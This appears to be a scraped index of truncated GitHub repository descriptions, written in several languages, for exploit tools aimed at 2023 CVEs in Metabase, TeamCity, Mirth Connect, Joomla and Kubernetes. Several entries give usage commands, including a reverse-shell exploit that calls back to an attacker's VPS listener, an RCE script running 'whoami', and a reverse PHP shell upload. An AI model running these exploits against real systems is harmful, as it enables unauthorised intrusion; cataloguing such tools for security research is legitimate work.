go-exploit

go-exploit: Go Exploit Framework go-exploit is an exploit development framework for Go. The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other...

weakpass

Weakpass Here, you can find the list of tools and example of API server from weakpass.com for password and hash cracking in one place. 📂 Folder Structure tools A collection of password and hash cracking tools. Check them out: Kraker-js Lookup Passcheck Passgen libs Links to the libraries used in...

offensive-onos

Offensive ONOS My experiments in weaponizing ONOS applications. This is a part of research activity for my Cybersecurity M.Sc. Thesis link, focused on detection of Cross App Poisoning Attacks in Software Defined Networks. This research also led to discovery ofCVE-2023-24279 and CVE-2023-30093...

frameworks_base_AOSP-4.2.2_r1_CVE-2023-21272

이 저장소에는 README가 없습니다...

CVE-2023-43208-MIRTHCONNECT

CVE-2023-43208 NextGen Healthcare Mirth Connect 버전 4.4.1 이전은 인증되지 않은 원격 코드 실행에 취약합니다. 이 취약점은 CVE-2023-37679의 불완전한 패치로 인해 발생합니다. 첫째: 이 도구를 사용하여 무엇을 하든 저는 책임지지 않습니다. 둘째: apt-get install parallel curl -y chmod +x CVE-2023-43208.sh CVE-2023-43208.sh: 이 스크립트는 해당 CVE에 취약한 대상을 식별하고 확인하는 데 사용됩니다. 취약한 대상은...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell запуск команды go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port примечание при вводе целевого хоста , не забудьте указать http:// или https://...

Metasploit-Module-TFM

Пользовательский модуль Metasploit для CVE 2023-2728 и CVE 2024-3177 Описание Этот пользовательский модуль эксплуатирует CVE 2023-2728 и CVE 2024-3177 в версиях Kubernetes, уязвимых к каждой из них например, v1.27.2 уязвима к обеим, связанных с обходом наложения политики монтируемых секретов,...

CVE-2023-30943

CVE-2023-30943Moodle self-xss 免責事項 本コンテンツは、明示または黙示を問わず、いかなる保証もなく「現状のまま」提供されます。 著者は、本リポジトリに関連する情報やソフトウェアの使用に起因する直接的または間接的な損害について、一切の責任を負いません。 ソースコードを含むすべての資料は、情報提供のみを目的として提供されています。本リポジトリのコードの使用は、自己の責任において行ってください。...

frame_CVE-2023-40133_136_137

В этом репозитории нет README...

teamcity-exploit-cve-2023-42793

TeamCity Exploit Cve 2023 42793 一个快速利用 cve-2023-42793 漏洞的脚本。关于该漏洞的更多信息可参见： https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​ https://www.cnblogs.com/LittleHann/p/17843271.html​ 该脚本增加了在触发 RCE 漏洞后自由使用 "params" 执行命令的能力：...

CVE-2023-38646

CVE-2023-38646 Burp Collector 없이 사용할 수 있도록 만든kh4sh3i의 포크입니다. CVE-2023-38646 Metabase의 사전 인증 RCE: 0.46.6.1 이전 버전의 Metabase 오픈소스와 1.46.6.1 이전 버전의 Metabase Enterprise는 공격자가 서버의 권한 수준으로 서버에서 임의의 명령을 실행할 수 있게 합니다. 악용을 위해 인증은 필요하지 않습니다. 사용법 python3 CVE-2023-38646.py -u http://target.com -t...

CVE-2023-35671

이 글은 다음 위치로 이동되었습니다: https://mrtiz.github.io/CVE-2023-35671...

CVE-2023-50564

CVE-2023-50564 Только для образовательных целей. Этот скрипт использует CVE-2023-50564 для загрузки reverse-php shell на целевой сервер. Вы можете использовать такую оболочку, как эта. Просто запакуйте php-файл в zip и передайте его этому скрипту. Пример root@kitploit: python3 cve-2023-50564.py -...

CVE-2023-23752

Установка root@kitploit: git clone https://github.com/0xx01/CVE-2023-23752.git cd CVE-2023-23752 chmod +x exploit.sh Использование root@kitploit: ./exploit.sh http://localhost...

LAB-DFIR-cve-2023-38831

LAB-DFIR-cve-2023-38831 Эта лаборатория имитирует атаку CVE-2023–38831 и требует исследования образа диска diskimage. Она содержит множество вопросов, включая понимание реестра Windows, файлов NTFS, кэша браузера и полное понимание функций, которые Windows выдает в последовательности событий. Это...

CVE-2023-44487

Обратите внимание, что приведенный выше код использует библиотеку libcurl для выполнения HTTP-запросов. Вам необходимо установить libcurl и слинковать ее при компиляции кода. Код представляет собой упрощенную версию, и вам может потребоваться скорректировать его в соответствии с вашими конкретным...

CVE-2023-22527

...

HTB-Devvortex-CVE-2023-2375-PoC

Joomla! CVE-2023-23752 - PoC раскрытия информации без аутентификации Описание Этот репозиторий содержит Proof of Concept PoC эксплойт для CVE-2023-23752, уязвимости в Joomla!, которая позволяет неавторизованное раскрытие информации. Эта уязвимость может раскрывать конфиденциальную информацию,...

CVE-2023-6875

Что делает эксплойт Размещает токен, который позволяет просматривать почту. Находит имя пользователя администратора; если не удаётся найти, устанавливает "admin" по умолчанию. Запрашивает ссылку для сброса пароля администратора, которая отправляется администратору по электронной почте. Использует...

CVE-2023-42793

CVE-2023-42793 TeamCity CVE-2023-42793 RCE 원격 코드 실행 rce.py 영감을 받음 - https://www.prio-n.com/blog/cve-2023-42793-attacking-defending-JetBrains-TeamCity python3 rce.py --url teamcity.runner.htb --command whoami exploit.py 이 스크립트는 ByteHunter가 만든 https://www.exploit-db.com/exploits/51884 의 복사본입니다. 이...